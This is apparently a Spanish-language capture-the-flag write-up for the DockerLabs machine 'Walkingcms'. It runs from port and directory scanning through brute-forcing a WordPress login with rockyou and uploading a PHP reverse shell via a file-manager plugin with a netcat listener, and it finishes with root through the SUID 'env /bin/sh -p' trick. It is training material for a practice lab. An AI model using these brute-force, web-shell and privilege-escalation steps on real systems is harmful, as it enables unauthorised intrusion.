miguel@home:~$

Walkingcms - DockerLabs

OS Dificultad Creator
Linux Fácil El Pingüino de Mario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 80 (HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
    nmap -p80 -sCV 172.17.0.2 -oG targeted
    

    image

Exploración Web

Al analizar el puerto 80, encontramos la página por defecto de Apache.

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Identificamos la ruta /wordpress.

Wordpress

Utilizamos wpscan para investigar vulnerabilidades y usuarios en el sitio de WordPress:

wpscan --url http://172.17.0.2/wordpress -e 

image

Descubrimos al usuario mario, y procedimos a realizar fuerza bruta para acceder con su cuenta.

Fuerza bruta.

Usamos la herramienta wpscan con el diccionario rockyou.txt para intentar descubrir la contraseña:

wpscan --url http://172.17.0.2/wordpress -U mario -P /usr/share/wordlists/rockyou.txt

Encontramos que la contraseña de mario es love.

image

Al acceder con mario, observamos que tiene privilegios de administrador, lo cual nos permite añadir el plugin FILE MANAGER para cargar un archivo shell.php y acceder mediante una reverse shell.

Reverse Shell

Creamos un archivo shell.php cargado con una reverse shell usando la herramienta de Reverseshell de Pentest Monkey.

image

Una vez subido, accedemos a la ruta /wordpress/shell.php para ejecutar la shell.

Simultáneamente, iniciamos netcat en nuestro sistema para escuchar conexiones entrantes:

nc -lvnp 4444

Al acceder a la reverse shell desde el navegador, logramos obtener acceso como www-data.

image

Logramos acceso como www-data.

image

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Escalada de Privilegios

Ejecutamos el siguiente comando para encontrar archivos con permisos SUID, que pueden ayudar en la escalada de privilegios:

find / -perm -4000 2>/dev/null

Descubrimos que podemos ejecutar el comando env con permisos de root, lo cual aprovechamos de la siguiente manera:

/usr/bin/env /bin/sh -p

Ahora, hemos escalado privilegios a root.

image